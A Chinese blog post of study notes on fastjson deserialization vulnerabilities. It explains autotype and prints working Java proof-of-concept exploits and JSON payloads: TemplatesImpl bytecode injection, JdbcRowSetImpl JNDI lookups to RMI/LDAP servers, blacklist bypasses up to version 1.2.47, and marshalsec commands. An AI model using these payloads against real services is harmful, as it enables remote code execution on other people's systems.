浅谈fastjson

浅谈fastjson

之前面试的时候被问fastjson原理,没答好,现在稍微缝合整理一下,跟参考的大哥们写的文章相比很浅,建议想要学习fastjson漏洞原理的还是看参考部分的文章吧

fastjson阿里的一个开源java类库,作用是java对象与json字符串的相互转化,即序列化(对象->json)与反序列化

简单使用如下:

1234567 com.alibaba fastjson 1.2.50 1234567891011public class Main { public static void main(String[] args) { Person person1 = new Person("crumbling",114514); String json1 = JSON.toJSONString(person1); System.out.println(json1); String json2 = "{\"user_name\":\"crumbling\",\"user_age\":114514}"; Person person2 = JSON.parseObject(json2,Person.class); System.out.println(person2.getAge()+person2.getName()); }}123456789101112@JSONType(orders = {"name","age"})public class Person { @JSONField(name = "user_name") private String name; @JSONField(name = "user_age") private int age; public Person(String name, int age) { this.name = name; this.age = age; } //get and set}使用过程中会调用的内容

parseObject(String text, Class clazz) ,构造⽅法 + setter + 满⾜条件额外的 getter

JSONObject parseObject(String text) ,构造⽅法 + setter + getter + 满⾜条件额外的 getter

parse(String text) ,构造⽅法 + setter + 满⾜条件额外的 getter

对于没有 set ⽅法的 private 成员,反序列化时传递 Feature.SupportNonPublicField 即可完成赋值

@typefastjson反序列化的漏洞要从@type讲起

@type是一个特殊注解,用于反序列化,效果是标识JSON字符串中的某个属性是一个Java对象的类型,正是这样的功能引起了相关漏洞

直接看具体例子

可以看到java.lang.Runtime这个字符串值被@type标识为了一个java对象,在解析时的结果是java.lang.Runtime@7a5d012c,也就是一个Runtime类的实例对象

123456789public class Main { public static void main(String[] args) throws IOException { String json = "{\"@type\":\"java.lang.Runtime\"}"; ParserConfig.getGlobalInstance().addAccept("java.lang"); Runtime runtime = (Runtime) JSON.parseObject(json,Object.class); runtime.exec("calc.exe"); }}//运行环境为java8上面的这段代码可以利用反序列出来的Runtime实例对象弹个计算器出来

1234567public class Main { public static void main(String[] args) throws IOException { Person person = new Person("crumbling",18); String json = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(json); }}

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,具体效果就是给序列化后的json字符串多一个@type标识,如上图所示

漏洞1.2.22-1.2.24版本中的反序列化漏洞原自两点:

@type字段指明反序列化的目标恶意类如前文所示,fastjson反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法, setter ⽅法, getter ⽅法等,只要在这些方法里写入利用内容,就可以完成漏洞利用。TemplatesImpl链TemplatesImpl(Feature.SupportNonPublicField)利用链

扣来的脚本

123456789101112131415161718192021222324252627282930313233343536373839404142434445package com.crumbling;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import java.util.Base64;public class Main { public static class test{ } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "crumbling" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); try { byte[] evilCode = cc.toBytecode(); String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'W01h4cker',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }}恶意类是一个继承AbstractTranslet的Test类,通过Test t = new Test();来初始化

javac 编译成字节码,然后对字节码继续进行base64 编码填充POC的 _bytecodes 字段,这就是TemplatesImpl利用链的弹计算器

分析json字符串中主要有3个部分影响漏洞

@type 标识了反序列化的恶意⽬标类 TemplatesImpl ,FastJson最终会按照这个类反序列化得到实例

_bytecodes :继承 AbstractTranslet 类的恶意类字节码,使⽤ Base64 编码。

_outputProperties : TemplatesImpl 反序列化过程中会调⽤ getOutputProperties ⽅法, 导致 bytecodes 字节码成功实例化,造成命令执⾏。

因为上述2个成员变量都是无set的private变量,所以反序列化的时候要传入 Feature.SupportNonPublicField

整套流程如下,构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是构造的恶意类,其父类是AbstractTranslet,会被加载并使用newInstance()实例化。在反序列化过程中getOutputProperties()被fastjson调用,其过程为getOutputProperties() -> newTransformer()-> getTransletInstance()-> defineTransletClasses() -> EvilClass.newInstance()

JdbcRowSetImpl链TemplatesImpl 利⽤链因为需要开启 Feature.SupportNonPublicField 选项,所以还是具有较⼤的 限制。而更好的解决⽅案—— JdbcRowSetImpl 利⽤链配合JDNI。

大致思路如下

恶意类

1234567891011121314151617181920212223242526package com.crumbling;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.io.Serializable;import java.util.Hashtable;public class Exploit implements ObjectFactory, Serializable { public Exploit() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { Exploit exploit = new Exploit(); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { return null; }}通过 javac 编译得到 Exploit.class ⽂件,将字节码⽂件放到Web⽬录下

12C:\Users\Hacker>python -m http.serverServing HTTP on :: port 8000 (http://[::]:8000/) ...POC

1234567891011package com.crumbling;import com.alibaba.fastjson.JSON;public class POC1_2_24 { public static void main(String[] args) { String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}开启 RMI 服务器,默认运⾏在 1099 端⼝,并设置返回对象为远程恶意类的引⽤

12java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8000/#Exploit分析@type :指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl

dataSourceName :指定 RMI / LDAP 恶意服务器,并调⽤ setDataSourceName 函数

autoCommit :调⽤ setAutoCommit 函数。

调用链流程:前文提到反序列化会调用目标类的setter/getter方法,JdbcRowSetImpl链在反序列化时就会调用的类中的setAutoCommit(),其中又会调用connect()方法

connect()方法中有如下内容

12InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());其存在JNDI注入,调⽤ lookup 函数,参数可控且为 this.getDataSourceName(),如果这个参数为http://127.0.0.1:8000/Exploit,也就是我们上传的恶意类,那么就可以完成加载利用

黑名单机制官⽅在1.2.25版本更新中,对1.2.25-1.2.41版本漏洞进⾏了修补。新增了 autoTypeSupport 反序列化选项,并通过 checkAutoType 函数对加载类进⾏⿊⽩名单过滤和判断。

1.2.25版本默认情况下, autoTypeSupport 为 false ,将不⽀持指定类的反序列化,默认使⽤⿊名单 +⽩名单验证。

运行前面的poc,会得到

可以在源码中看到黑名单

再看相对应的check函数checkAutoType

代码比较占篇幅,这边说下逻辑:开启了autoType,先后从白名单黑名单里进行判断,如果在白名单中匹配成功,会直接用TypeUtils.loadClass加载,不会进行后续的黑名单匹配,没开就是反过来;如果黑白名单都没有匹配,那么在开启了autoType或者expectClass不为空,也就是指定Class(?)类才会加载。

有黑名单机制,那就要考虑绕过,checkAutoType本身的逻辑里没看到可绕过的部分,所以继续去loadClass方法里看看

可以看到在第二个else if里写的过滤逻辑,如果类名的字符串以L开头并以;结尾,则需要把开头的L和结尾的;给去掉,然后递归调用loadClass

从源码中可以看到,白名单是默认为空的那么一个比较简单的绕过方法就出来了

2步

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);在指定的类名开头加上 L ,结尾加上 ;12345678910import com.alibaba.fastjson.JSON;import com.sun.rowset.JdbcRowSetImpl;public class POC1_2_25 { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}check逻辑里还有个[开头也会去循环调用然后加载

所以相关绕过payload还有

1String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}";逻辑来看[{的位置应该是,但是会出现报错,提示token相关的问题,所以最后还是要[{

1.2.42绕过在前一次补丁上再次进行修补

主要改动内容为

类名变成了哈希值,不过已经有了对应的表格LeadroyaL/fastjson-blacklist ;checkAutoType规则增加可以看到他会进行一次首尾的删除所以只需要双写L和;即可继续绕过(根据他循环删除的特性,其实n写也没问题)

1.2.43绕过Ln写问题彻底解决,但是[的事情还没有搞定

Mybatis利用链1.2.44-1.2.45前面提到的问题已经被修复

这边参考的2个资料开始分叉,一边利用mappings缓存绕过,一边则是Mybatis链

首先是Mybatis链

1234567public class Main { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"prope rties\":{\"data_source\":\"rmi://localhost:1099/Exploit\"}}"; JSON.parse(PoC); }}主要是会去调用POC中传递 properties 成员会调⽤ setProperties ,这里面也调用了lookup函数

data_source传入恶意RMI地址,完成加载利用

利用mappings缓存绕过1.2.46开始Mybatis的也没了

1.2.47

扣个payload来

12345678910111213package org.example;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main(String[] args){ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // ldap 和 rmi都可以 String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ift2ty\",\"autoCommit\":true}}"; JSONObject.parse(payload); }}原理同样出现在checkAutoType,其在不开启autoType的情况下通过利用链将数据放入缓存mappings中,在后续会直接从缓存里取,而不需要进行检验

1.2.48绕过1.2.48开始缓存有关的内容已经被修复了

1.2.48-1.2.67

针对黑名单的绕过为主,需要存在有其他组件

1.2.68绕过感觉1.2.68开始这些版本都比较新,后续慢慢总结吧

更新了safeMode,如果开启了safeMode autoType会被完全禁止,绕过的核心是传入checkAutoType的参数expectClass

在前文fastjson的简单使用中Person.class即为expectClass

1Person person2 = JSON.parseObject(json2,Person.class)条件如下:

expectClass为空:

typeNmae不在denyHashCodes黑名单中(必须条件)SafeMode为false(必要条件,默认为false)typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为 expectClass子类expectClass不为空:

typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)autoTypeSupport为false(默认为false)expectClass在TypeUtils#mappings中typeName不是ClassLoader、DataSource、RowSet的子类expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、 Closeable.class、EventListener.class、Iterable.class、Collection.classtypeName是expectClass的子类参考知识星球代码审计

W01fh4cker/LearnFastjsonVulnFromZero-Basic

🎈 相关推荐

籼的拼音、籼怎么读?米字旁加山(米山)念什么?
beat365网站假的吗

籼的拼音、籼怎么读?米字旁加山(米山)念什么?

📅 09-21 👀 1467
怎么说
beat365网站假的吗

怎么说"我要睡觉了" 用英文 (I'm going to bed)

📅 07-01 👀 7658
游戏小知识《极品芝麻官》给萌新的19点建议
365体育亚洲官方登录

游戏小知识《极品芝麻官》给萌新的19点建议

📅 08-11 👀 6198